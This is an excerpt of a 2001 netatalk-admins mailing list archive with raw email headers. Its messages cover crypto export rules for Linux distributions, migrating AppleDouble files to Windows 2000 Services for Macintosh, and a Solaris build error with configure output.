	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 15:20:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA06983
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 15:20:10 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA06943
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 15:20:09 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f57JK7T27101
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 21:20:08 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f57JK1e13813
	for netatalk-admins@umich.edu; Thu, 7 Jun 2001 21:20:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.22 #1 (Debian))
	id 158574-0001nP-00
	for <netatalk-admins@umich.edu>; Thu, 07 Jun 2001 21:06:34 +0200
Date: Thu, 7 Jun 2001 21:06:34 +0200
To: netatalk-admins@umich.edu
Subject: Re: User authentication
Message-ID: <20010607210634.A2749@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de> <20010607094804.A18396@lafferty.ca> <20010607194948.A30307@suse.de> <20010607144859.G19208@lafferty.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010607144859.G19208@lafferty.ca>
User-Agent: Mutt/1.3.18i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Thu, Jun 07, 2001 at 02:48:59PM -0400, Rich Lafferty wrote:
> On Thu, Jun 07, 2001 at 07:49:48PM +0200, Olaf Hering (olh@suse.de) wrote:

> > The crypto stuff is somewhat problematic for a distributor...
> 
> I'm not familiar enough with German cryptography law to comment on
> whether or not that would be a problem for SuSE. But they distribute
> OpenSSL. I suspect it's just a case of not knowing what options
> netatalk users tend to use.

AFAIK there aren't any problems with German laws. But SuSE also has
a US branch and they probably have the same concerns as the Debian
project, which distributes all SSL stuff in its non-US section. Servers
that carry non-US are all located outside the US. (non-US does not mean
that it's forbidden to use that software in the US or to download it
to the US.)

But then, as jeff pointed out, all major distributions include SSL.
I think, you have to register with the US government somehow if you
want to export crypto stuff. (It's possible to do that by e-mail
and you only have to state the location where you're offering the
software, AFAIK.)

 - Sebastian


From netatalk.administrators-errors@umich.edu  Thu Jun  7 15:25:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA28550
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 15:25:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA11216
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 15:25:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA11205
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 15:25:57 -0400 (EDT)
Received: from ariel.imagegroup.com ([206.150.185.150])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA11155
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 15:25:54 -0400 (EDT)
Received: from edgemaster (edgemaster.imagegroup.com [206.150.185.188])
	by ariel.imagegroup.com (8.9.3/8.9.3) with SMTP id PAA32572
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 15:22:54 -0400
Message-ID: <001e01c0ef87$c314af30$bcb996ce@edgemaster>
From: "Andrew D. Myers" <andrewm@imagegroup.com>
To: <netatalk-admins@umich.edu>
References: <200106070118.AA1441202690@graphpoint.com>
Subject: Netatalk --> Win2K SfM?
Date: Thu, 7 Jun 2001 15:26:33 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000

Executive summary:

Does anyone know of a handy tool/technique for taking the resource fork
and attributes from an AppleDouble file and stitching 'em into the
corresponding NTFS data streams under Win2K Services for Macintosh?


More detailed situation:

I've got approximately 140GB of data on a samba/netatalk server
(netatalk 1.3.x, don't remember which revision, on linux 2.2.x), in tens
of thousands of files.  I need to move 'em to a Win2K box w/Services for
Macintosh installed.

Here's the complicating factors:  This server's been used by Mac, Linux,
and Windows folks.  The Windows guys have oodles of filenames with >31
characters (which don't appear for the Mac folks), the Linux folks have,
in some cases, written out files which differ only by case (eg: foo.txt
and Foo.txt), and the Mac people 'round here love to use
windows-verboten characters like ? and : in their filenames.

I need to a) copy all the files with data/resource forks & file types
intact, and b) make all files visible to the Mac guys on the new server,
and c) use Win2K legal filenames (duh).

Here are the viable solutions I've come up with:

1.  Write a perl script to crank through the exported shares on the
netatalk server which renames the files that will cause Windows fits
(ie, replace invalid chars with ~), and mangles names that are > 31
chars or differ only in case (foo vs. FOO).  Then, once all the
filenames are in order, go do a drag'n'drop from one server to the other
on a Mac, and go home for the weekend.

2.  Write a perl script to do similar as #1, but instead of renaming,
actually copy the files from the netatalk server to the Win2K box.

Problem with #1:  I'm extremely cagey about turning a script loose on
140GB of valuable production data, even if it's only renaming stuff.  If
at all possible, I'd like to leave the old server absolutely intact so
we can fall back if (when) we run into problems during the migration.

Problem with #2:  I can't find an easy way to take the AppleDouble
information and put it into the appropriate NTFS file streams, short of
learning me the AppleDouble file format and writing a tool to do this
m'self.  I've searched high and low for such a beastie, but have yet to
find one.

At this stage, it looks like I'm going to go with option #1 (after a
suitable backup).

Anyhow, apologies for the long-winded explanation (thus the summary up
front), and thanks for any suggestions.

--Andrew



From netatalk.administrators-errors@umich.edu  Thu Jun  7 17:18:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA07142
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 17:18:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14061
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 17:18:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14049
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 17:18:57 -0400 (EDT)
Received: from hotmail.com (oe64.law10.hotmail.com [64.4.14.199])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA14012
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 17:18:56 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 7 Jun 2001 14:18:55 -0700
X-Originating-IP: [64.192.118.189]
From: "Brandon Caudle" <bcaudle@hotmail.com>
To: <netatalk-admins@umich.edu>
References: <200106070118.AA1441202690@graphpoint.com> <001e01c0ef87$c314af30$bcb996ce@edgemaster>
Subject: Re: Netatalk --> Win2K SfM?
Date: Thu, 7 Jun 2001 17:20:43 -0400
MIME-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Message-ID: <OE64rrl6lpXzzV2CDYr00004ede@hotmail.com>
X-OriginalArrivalTime: 07 Jun 2001 21:18:55.0305 (UTC) FILETIME=[7546D390:01C0EF97]

I suggest samba for this you can move stuff between any unix distro(or
linux) to windows. Its file mangling char is ~ you can email me if you have
any questions.

Brandon Caudle
----- Original Message -----
From: "Andrew D. Myers" <andrewm@imagegroup.com>
To: <netatalk-admins@umich.edu>
Sent: Thursday, June 07, 2001 3:26 PM
Subject: Netatalk --> Win2K SfM?


> Executive summary:
>
> Does anyone know of a handy tool/technique for taking the resource fork
> and attributes from an AppleDouble file and stitching 'em into the
> corresponding NTFS data streams under Win2K Services for Macintosh?
>
>
> More detailed situation:
>
> I've got approximately 140GB of data on a samba/netatalk server
> (netatalk 1.3.x, don't remember which revision, on linux 2.2.x), in tens
> of thousands of files.  I need to move 'em to a Win2K box w/Services for
> Macintosh installed.
>
> Here's the complicating factors:  This server's been used by Mac, Linux,
> and Windows folks.  The Windows guys have oodles of filenames with >31
> characters (which don't appear for the Mac folks), the Linux folks have,
> in some cases, written out files which differ only by case (eg: foo.txt
> and Foo.txt), and the Mac people 'round here love to use
> windows-verboten characters like ? and : in their filenames.
>
> I need to a) copy all the files with data/resource forks & file types
> intact, and b) make all files visible to the Mac guys on the new server,
> and c) use Win2K legal filenames (duh).
>
> Here are the viable solutions I've come up with:
>
> 1.  Write a perl script to crank through the exported shares on the
> netatalk server which renames the files that will cause Windows fits
> (ie, replace invalid chars with ~), and mangles names that are > 31
> chars or differ only in case (foo vs. FOO).  Then, once all the
> filenames are in order, go do a drag'n'drop from one server to the other
> on a Mac, and go home for the weekend.
>
> 2.  Write a perl script to do similar as #1, but instead of renaming,
> actually copy the files from the netatalk server to the Win2K box.
>
> Problem with #1:  I'm extremely cagey about turning a script loose on
> 140GB of valuable production data, even if it's only renaming stuff.  If
> at all possible, I'd like to leave the old server absolutely intact so
> we can fall back if (when) we run into problems during the migration.
>
> Problem with #2:  I can't find an easy way to take the AppleDouble
> information and put it into the appropriate NTFS file streams, short of
> learning me the AppleDouble file format and writing a tool to do this
> m'self.  I've searched high and low for such a beastie, but have yet to
> find one.
>
> At this stage, it looks like I'm going to go with option #1 (after a
> suitable backup).
>
> Anyhow, apologies for the long-winded explanation (thus the summary up
> front), and thanks for any suggestions.
>
> --Andrew
>
>
>

From netatalk.administrators-errors@umich.edu  Thu Jun  7 17:27:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA07384
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 17:27:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA16172
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 17:26:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA16156
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 17:26:54 -0400 (EDT)
Received: from hotmail.com (oe60.law10.hotmail.com [64.4.14.195])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA16134
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 17:26:52 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 7 Jun 2001 14:27:01 -0700
X-Originating-IP: [64.192.118.189]
From: "Brandon Caudle" <bcaudle@hotmail.com>
To: <netatalk-admins@umich.edu>
References: <200106070118.AA1441202690@graphpoint.com> <001e01c0ef87$c314af30$bcb996ce@edgemaster>
Subject: Re: Netatalk --> Win2K SfM?
Date: Thu, 7 Jun 2001 17:29:24 -0400
MIME-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Message-ID: <OE60f0TFvn5BnWCo0fr00004f22@hotmail.com>
X-OriginalArrivalTime: 07 Jun 2001 21:27:01.0509 (UTC) FILETIME=[9713AB50:01C0EF98]

Forgot to state something

if you used samba all you would have to do is set up samba (easy) and go to
the windows 2000 server go to the share \\server\share and drag and drop the
files.  on the share the mangling char is = ~ and it would do it for you.  I
did this but recently went to all linux machines@ home but we still have
some at work

Brandon Caudle
----- Original Message -----
From: "Andrew D. Myers" <andrewm@imagegroup.com>
To: <netatalk-admins@umich.edu>
Sent: Thursday, June 07, 2001 3:26 PM
Subject: Netatalk --> Win2K SfM?


> Executive summary:
>
> Does anyone know of a handy tool/technique for taking the resource fork
> and attributes from an AppleDouble file and stitching 'em into the
> corresponding NTFS data streams under Win2K Services for Macintosh?
>
>
> More detailed situation:
>
> I've got approximately 140GB of data on a samba/netatalk server
> (netatalk 1.3.x, don't remember which revision, on linux 2.2.x), in tens
> of thousands of files.  I need to move 'em to a Win2K box w/Services for
> Macintosh installed.
>
> Here's the complicating factors:  This server's been used by Mac, Linux,
> and Windows folks.  The Windows guys have oodles of filenames with >31
> characters (which don't appear for the Mac folks), the Linux folks have,
> in some cases, written out files which differ only by case (eg: foo.txt
> and Foo.txt), and the Mac people 'round here love to use
> windows-verboten characters like ? and : in their filenames.
>
> I need to a) copy all the files with data/resource forks & file types
> intact, and b) make all files visible to the Mac guys on the new server,
> and c) use Win2K legal filenames (duh).
>
> Here are the viable solutions I've come up with:
>
> 1.  Write a perl script to crank through the exported shares on the
> netatalk server which renames the files that will cause Windows fits
> (ie, replace invalid chars with ~), and mangles names that are > 31
> chars or differ only in case (foo vs. FOO).  Then, once all the
> filenames are in order, go do a drag'n'drop from one server to the other
> on a Mac, and go home for the weekend.
>
> 2.  Write a perl script to do similar as #1, but instead of renaming,
> actually copy the files from the netatalk server to the Win2K box.
>
> Problem with #1:  I'm extremely cagey about turning a script loose on
> 140GB of valuable production data, even if it's only renaming stuff.  If
> at all possible, I'd like to leave the old server absolutely intact so
> we can fall back if (when) we run into problems during the migration.
>
> Problem with #2:  I can't find an easy way to take the AppleDouble
> information and put it into the appropriate NTFS file streams, short of
> learning me the AppleDouble file format and writing a tool to do this
> m'self.  I've searched high and low for such a beastie, but have yet to
> find one.
>
> At this stage, it looks like I'm going to go with option #1 (after a
> suitable backup).
>
> Anyhow, apologies for the long-winded explanation (thus the summary up
> front), and thanks for any suggestions.
>
> --Andrew
>
>
>

From netatalk.administrators-errors@umich.edu  Thu Jun  7 17:30:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA07594
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 17:30:03 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA29713
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 17:30:03 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA29677
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 17:30:02 -0400 (EDT)
Received: from hotmail.com (oe8.law10.hotmail.com [64.4.14.112])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA29644
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 17:30:00 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 7 Jun 2001 14:30:00 -0700
X-Originating-IP: [64.192.118.189]
From: "Brandon Caudle" <bcaudle@hotmail.com>
To: <netatalk-admins@umich.edu>
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de> <20010607094804.A18396@lafferty.ca> <20010607194948.A30307@suse.de> <20010607144859.G19208@lafferty.ca> <20010607210634.A2749@jroger.in-berlin.de>
Subject: Re: User authentication
Date: Thu, 7 Jun 2001 17:32:31 -0400
MIME-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Message-ID: <OE8bC8wSA1XvpFVjCRG000051e5@hotmail.com>
X-OriginalArrivalTime: 07 Jun 2001 21:30:00.0257 (UTC) FILETIME=[019E7310:01C0EF99]

How much trouble can the averge joe like me get in.  My friend back in
Saudia Arabia wants W2K Server./ Suse 7.1 (US Edition)

Brandon Caudle
----- Original Message -----
From: "Sebastian Rittau" <srittau@jroger.in-berlin.de>
To: <netatalk-admins@umich.edu>
Sent: Thursday, June 07, 2001 3:06 PM
Subject: Re: User authentication


> On Thu, Jun 07, 2001 at 02:48:59PM -0400, Rich Lafferty wrote:
> > On Thu, Jun 07, 2001 at 07:49:48PM +0200, Olaf Hering (olh@suse.de)
wrote:
>
> > > The crypto stuff is somewhat problematic for a distributor...
> >
> > I'm not familiar enough with German cryptography law to comment on
> > whether or not that would be a problem for SuSE. But they distribute
> > OpenSSL. I suspect it's just a case of not knowing what options
> > netatalk users tend to use.
>
> AFAIK there aren't any problems with German laws. But SuSE also has
> a US branch and they probably have the same concerns as the Debian
> project, which distributes all SSL stuff in its non-US section. Servers
> that carry non-US are all located outside the US. (non-US does not mean
> that it's forbidden to use that software in the US or to download it
> to the US.)
>
> But then, as jeff pointed out, all major distributions include SSL.
> I think, you have to register with the US government somehow if you
> want to export crypto stuff. (It's possible to do that by e-mail
> and you only have to state the location where you're offering the
> software, AFAIK.)
>
>  - Sebastian
>
>

From netatalk.administrators-errors@umich.edu  Thu Jun  7 18:16:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA10271
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 18:16:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA18188
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 18:16:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA18170
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 18:16:29 -0400 (EDT)
Received: from web12808.mail.yahoo.com (web12808.mail.yahoo.com [216.136.174.43])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA17416
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 16:18:49 -0400 (EDT)
Message-ID: <20010607201858.630.qmail@web12808.mail.yahoo.com>
Received: from [150.135.177.101] by web12808.mail.yahoo.com; Thu, 07 Jun 2001 13:18:58 PDT
Date: Thu, 7 Jun 2001 13:18:58 -0700 (PDT)
From: ming zhang <m_zhang66@yahoo.com>
Subject: for help
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Dear Netatalk-admins:
    > I am installing netatalk-1.5pre6 on a unix
server
> running SUN OS 5.8 for mac client. The 'make'
command
> generated the following error message which confused
> me.
> Please help me out.
> Thanks a lot.
> 
> Yours,
> ming zhang
> U of Arizona
> 
> # pwd
> /zhangm/netatalk-1.5pre6
> # make all
> make  all-recursive
> Making all in libatalk
> mksh: Fatal error in reader: = missing from
> replacement macro reference
> Current working directory
> /zhangm/netatalk-1.5pre6/libatalk
> *** Error code 1
> make: Fatal error: Command failed for target
> `all-recursive'
> Current working directory /zhangm/netatalk-1.5pre6
> *** Error code 1
> make: Fatal error: Command failed for target
> `all-recursive-am'
> 
> ***following is from ./configure output:
> # ./configure
> creating cache ./config.cache
> checking host system type... sparc-sun-solaris2.8
> checking target system type... sparc-sun-solaris2.8
> checking build system type... sparc-sun-solaris2.8
> checking for a BSD compatible install...
./install-sh
> -c
> checking whether build environment is sane... yes
> checking whether make sets ${MAKE}... yes
> checking for working aclocal... found
> checking for working autoconf... found
> checking for working automake... found
> checking for working autoheader... found
> checking for working makeinfo... missing
> checking for ranlib... ranlib
> checking for gcc... gcc
> checking whether the C compiler (gcc  ) works... yes
> checking whether the C compiler (gcc  ) is a
> cross-compiler... no
> checking whether we are using GNU C... yes
> checking whether gcc accepts -g... yes
> checking for ld used by GCC... /usr/ccs/bin/ld
> checking if the linker (/usr/ccs/bin/ld) is GNU
ld...
> no
> checking for BSD-compatible nm... /usr/ccs/bin/nm -p
> checking whether ln -s works... yes
> updating cache ./config.cache
> checking for object suffix... o
> checking for executable suffix... no
> checking for gcc option to produce PIC... -fPIC
> checking if gcc PIC flag -fPIC works... yes
> checking if gcc supports -c -o file.o... yes
> checking if gcc supports -c -o file.lo... yes
> checking if gcc supports -fno-rtti -fno-exceptions
...
> yes
> checking if gcc static flag -static works... -static
> checking if the linker (/usr/ccs/bin/ld) is GNU
ld...
> no
> checking whether the linker (/usr/ccs/bin/ld)
supports
> shared libraries... yes
> checking command to parse /usr/ccs/bin/nm -p
output...
> ok
> checking how to hardcode library paths into
> programs... immediate
> checking for /usr/ccs/bin/ld option to reload object
> files... -r
> checking dynamic linker characteristics...
solaris2.8
> ld.so
> checking if libtool supports shared libraries... yes
> checking whether to build shared libraries... yes
> checking whether to build static libraries... yes
> checking for objdir... .libs
> creating libtool
> loading cache ./config.cache
> checking for gawk... no
> checking for mawk... no
> checking for nawk... nawk
> checking for gcc... (cached) gcc
> checking whether the C compiler (gcc -g -O2 )
works...
> yes
> checking whether the C compiler (gcc -g -O2 ) is a
> cross-compiler... no
> checking whether we are using GNU C... (cached) yes
> checking whether gcc accepts -g... (cached) yes
> checking for aBSD compatible install... ./install-sh
> -c
> checking whether ln -s works... (cached) yes
> checking whether make sets ${MAKE}... (cached) yes
> updating cache ./config.cache
> checking for object suffix... o
> checking for executable suffix... no
> checking for gcc option to produce PIC... -fPIC
> checking if gcc PIC flag -fPIC works... yes
> checking if gcc supports -c -o file.o... yes
> checking if gcc supports -c -o file.lo... yes
> checking if gcc supports -fno-rtti -fno-exceptions
...
> yes
> checking if gcc static flag -static works... -static
> checking if the linker (/usr/ccs/bin/ld) is GNU
ld...
> no
> checking whether the linker (/usr/ccs/bin/ld)
supports
> shared libraries... yes
> checking command to parse /usr/ccs/bin/nm -p
output...
> ok
> checking how to hardcode library paths into
> programs... immediate
> checking for /usr/ccs/bin/ld option to reload object
> files... -r
> checking dynamic linker characteristics...
solaris2.8
> ld.so
> checking if libtool supports shared libraries... yes
> checking whether to build shared libraries... yes
> checking whether to build static libraries... yes
> checking for objdir... .libs
> creating libtool
> loading cache ./config.cache
> checking for main in -labs... no
> checking for main in -laudit... no
> checking for main in -lauth... no
> checking for main in -lcmd... yes
> checking for main in -lcom_err... no
> checking for main in -lcrypt... yes
> checking for main in -ld... no
> checking for main in -ldb... no
> checking for main in -ldl... yes
> checking for main in -lkauth... no
> checking for main in -lkrb... no
> checking for main in -llwp... no
> checking for main in -ln... no
> checking for main in -lnsl... yes
> checking for main in -lprot... no
> checking for main in -lresolv... yes
> checking for main in -lrpcsvc... yes
> checking for main in -lrx... no
> checking for main in -lrxkad... no
> checking for main in -lsocket... yes
> checking for main in -lsys... yes
> checking for main in -lubik... no
> checking for access... yes
> checking for dirent.h that defines DIR... yes
> checking for opendir in -ldir... no
> checking how to run the C preprocessor... gcc -E
> checking for ANSI C header files... yes
> checking for sys/wait.h that is POSIX.1
compatible...
> yes
> checking for fcntl.h... yes
> checking for limits.h... yes
> checking for stdint.h... no
> checking for strings.h... yes
> checking for sys/fcntl.h... yes
> checking for sys/file.h... yes
> checking for sys/ioctl.h... yes
> checking for sys/time.h... yes
> checking for syslog.h... yes
> checking for unistd.h... yes
> checking for termios.h... yes
> checking for sys/termios.h... yes
> checking for netdb.h... yes
> checking for sgtty.h... yes
> checking for sys/cdefs.h... no
> enabling generic cdefs.h from tree
> checking for working const... yes
> checking for uid_t in sys/types.h... yes
> checking for inline... inline
> checking for mode_t... yes
> checking for off_t... yes
> checking for pid_t... yes
> checking for size_t... yes
> checking for st_rdev in struct stat... yes
> checking whether time.h and sys/time.h may both be
> included... yes
> checking whether struct tm is in sys/time.h or
> time.h... time.h
> checking type of array argument to getgroups...
gid_t
> checking whether gcc needs -traditional... no
> checking for 8-bit clean memcmp... yes
> checking whether sys/types.h defines makedev... no
> checking for sys/mkdev.h... yes
> checking for unistd.h... (cached) yes
> checking for getpagesize... yes
> checking for working mmap... yes
> checking return type of signal handlers... void
> checking whether utime accepts a null argument...
yes
> checking for wait3 that fills in rusage... no
> checking for getcwd... yes
> checking for gethostname... yes
> checking for gettimeofday... yes
> checking for getusershell... yes
> checking for mkdir... yes
> checking for rmdir... yes
> checking for select... yes
> checking for socket... yes
> checking for strdup... yes
> checking for strstr... yes
> checking for strtoul... yes
> checking for setpgrp... yes
> checking whether setpgrp takes no argument... yes
> checking for pam_start in -lpam... yes
> setting configuration files location to NONE/etc
> ./configure: AUTHORS: execute permission denied
> * Solaris specific configuration
> enabling Solaris kernel module build
> updating cache ./config.cache
> creating ./config.status
> creating Makefile
> creating bin/Makefile
> creating bin/adv1tov2/Makefile
> creating bin/aecho/Makefile
> creating bin/afile/Makefile
> creating bin/afppasswd/Makefile
> creating bin/getzones/Makefile
> creating bin/megatron/Makefile
> creating bin/nbp/Makefile
> creating bin/pap/Makefile
> creating bin/psorder/Makefile
> creating config/Makefile
> creating contrib/Makefile
> creating contrib/nu/Makefile
> creating contrib/printing/Makefile
> creating contrib/shell_utils/Makefile
> creating contrib/timelord/Makefile
> creating distrib/Makefile
> creating distrib/config/Makefile
> creating distrib/config/netatalk-config
> creating distrib/initscripts/Makefile
> creating distrib/m4/Makefile
> creating doc/Makefile
> creating etc/Makefile
> creating etc/afpd/Makefile
> creating etc/afpd/nls/Makefile
> creating etc/atalkd/Makefile
> creating etc/uams/Makefile
> creating etc/uams/uams_krb4/Makefile
> creating etc/papd/Makefile
> creating etc/psf/Makefile
> creating include/Makefile
> creating include/atalk/Makefile
> creating libatalk/Makefile
> creating libatalk/adouble/Makefile
> creating libatalk/asp/Makefile
> creating libatalk/atp/Makefile
> creating libatalk/compat/Makefile
> creating libatalk/dsi/Makefile
> creating libatalk/nbp/Makefile
> creating libatalk/netddp/Makefile
> creating libatalk/util/Makefile
> creating man/Makefile
> creating man/man1/Makefile
> creating man/man3/Makefile
> creating man/man4/Makefile
> creating man/man5/Makefile
> creating man/man8/Makefile
> creating sys/Makefile
> creating sys/netatalk/Makefile
> creating config.h
> 
> __________________________________________________
> Do You Yahoo!?
> Get personalized email addresses from Yahoo! Mail -
only $35 
> a year!  http://personal.mail.yahoo.com/
        Next | Inbox   - Choose Folder -[New Folder]  

    as attachmentinline text  Download Attachments  


Yahoo! Messenger - Send instant messages to friends!  
Address Book · Alerts · Auctions · Bill Pay ·
Bookmarks · Briefcase · Broadcast · Calendar · Chat ·
Classifieds · Clubs · Companion · Domains · Experts
·Games · Greetings · Home Pages · Invites · Mail ·
Maps · Member Directory · Messenger · My Yahoo! · News
· PayDirect · People Search · Personals · Photos ·
Shopping · Sports · Stock Quotes · TV · Travel ·
Weather · Yahooligans · Yellow Pages · more...  
 

Privacy Policy- Terms of Service - Guidelines 
Copyright © 1994-2001 Yahoo! Inc. All rights reserved.



__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail - only $35 
a year!  http://personal.mail.yahoo.com/

From netatalk.administrators-errors@umich.edu  Thu Jun  7 19:14:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA12431
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 19:14:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA22425
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 19:14:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA22418
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 19:14:44 -0400 (EDT)
Received: from sjc3-1.relay.mail.uu.net (sjc3-1.relay.mail.uu.net [199.171.54.122])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA22401
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 19:14:43 -0400 (EDT)
Received: from [206.138.71.127] by sjc3sosrv11.alter.net with ESMTP 
	(peer crosschecked as: fire-out.newtimes.com [206.138.77.3])
